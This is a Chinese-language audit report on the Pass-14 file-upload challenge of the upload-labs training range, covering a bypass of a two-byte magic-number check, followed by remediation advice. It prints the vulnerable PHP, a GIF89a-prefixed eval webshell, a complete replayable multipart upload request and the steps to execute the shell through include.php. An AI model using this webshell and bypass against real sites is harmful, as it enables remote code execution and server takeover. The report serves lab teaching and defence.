upload-labs 文件上传漏洞靶场代码审计报告
一、靶场信息
| 项目 | 内容 |
|---|---|
| 靶场名称 | upload-labs |
| 关卡编号 | Pass-14 |
| 漏洞类型 | 文件头魔数校验绕过 + 文件包含执行 |
| 审计日期 | 2026-08-09 |
| 目标文件 | Pass-14/index.php |
二、漏洞概述
Pass-14 通过读取文件前两个字节的魔数(Magic Bytes)来判断文件类型,仅允许 jpg(FF D8)、png(89 50)、gif(47 49)三种类型。然而,攻击者只需在 PHP WebShell 前添加对应图片格式的文件头魔数,即可通过校验。上传后的文件虽然扩展名为图片,但结合靶场提供的文件包含漏洞页面 include.php,可以执行其中嵌入的 PHP 代码。
- 危险等级:中高危
- 影响范围:可上传图片马并通过文件包含漏洞执行任意 PHP 代码
三、问题代码位置
文件路径:Pass-14/index.php
问题代码片段(第 6-27 行):
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
保存逻辑(第 31-45 行):
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
四、漏洞分析
4.1 为什么存在这个问题
仅检查文件前两个字节的魔数不足以保证文件真实性和安全性。文件头魔数可以被轻易伪造,攻击者只需在 PHP 代码前添加 GIF89a(GIF 文件头)或其他图片魔数即可绕过校验。更关键的是,服务端将上传文件保存为图片扩展名,但未禁止其被文件包含漏洞页面加载执行。
4.2 校验逻辑缺陷
- 仅读取前 2 字节,未对整个文件结构进行解析。
- 未对文件内容进行深度检测(如使用
getimagesize()或二次渲染)。 - 上传目录中的图片文件可被
include.php包含执行,形成组合漏洞。
五、利用思路
- 构造图片马:在 PHP WebShell 前添加
GIF89a文件头。 - 上传该文件,服务端读取前两个字节
47 49判断为 GIF,校验通过。 - 文件被保存为
.gif扩展名。 - 访问文件包含漏洞页面:
include.php?file=upload/xx20260809xxxx.gif,服务端包含该图片文件,执行其中嵌入的 PHP 代码。
六、POC(Yakit 可直接重放)
6.1 前提条件
- 靶场访问地址:
http://target.com/upload-labs/Pass-14/index.php - 文件包含漏洞页面:
http://target.com/upload-labs/include.php - 图片马内容示例(GIF 文件头 + PHP 代码):
GIF89a
<?php @eval($_POST['cmd']); ?>
6.2 Yakit 重放 HTTP 请求包
POST /upload-labs/Pass-14/index.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload_file"; filename="shell.gif"
Content-Type: image/gif
GIF89a
<?php @eval($_POST['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundary7MA4YWxkTrZu0gW--
6.3 利用步骤
- 在 Yakit 中新建 HTTP 请求并粘贴上述 POC。
- 修改
Host为实际靶场地址。 - 发送请求,上传成功后返回页面显示保存的图片路径,例如
upload/1220260809123456.gif。 - 使用文件包含漏洞页面执行图片马:
GET /upload-labs/include.php?file=upload/1220260809123456.gif HTTP/1.1
Host: target.com
- 使用 POST 请求向包含页面发送
cmd=phpinfo();等命令即可执行。
七、修复建议
- 深度文件内容检测:使用
getimagesize()、exif_imagetype()或二次渲染验证文件真实性。 - 图片二次渲染:重新生成图片以去除嵌入的恶意代码。
- 禁止上传目录被包含执行:将上传目录与 Web 应用代码隔离,禁止动态包含上传目录文件。
- 修复文件包含漏洞:对
include.php中的$file参数进行白名单校验,禁止包含用户上传文件。 - 重命名上传文件:使用随机文件名。
安全代码示例
$tmp = $_FILES['upload_file']['tmp_name'];
if (!getimagesize($tmp)) {
die('文件不是有效图片');
}
// 二次渲染,清除嵌入代码
$info = getimagesize($tmp);
switch ($info[2]) {
case IMAGETYPE_GIF:
$img = imagecreatefromgif($tmp);
imagegif($img, UPLOAD_PATH . '/' . $new_name);
break;
case IMAGETYPE_JPEG:
$img = imagecreatefromjpeg($tmp);
imagejpeg($img, UPLOAD_PATH . '/' . $new_name);
break;
case IMAGETYPE_PNG:
$img = imagecreatefrompng($tmp);
imagepng($img, UPLOAD_PATH . '/' . $new_name);
break;
default:
die('不支持的图片类型');
}
imagedestroy($img);
八、参考链接
- upload-labs 项目地址:https://github.com/c0ny1/upload-labs
- OWASP 文件上传漏洞说明:https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload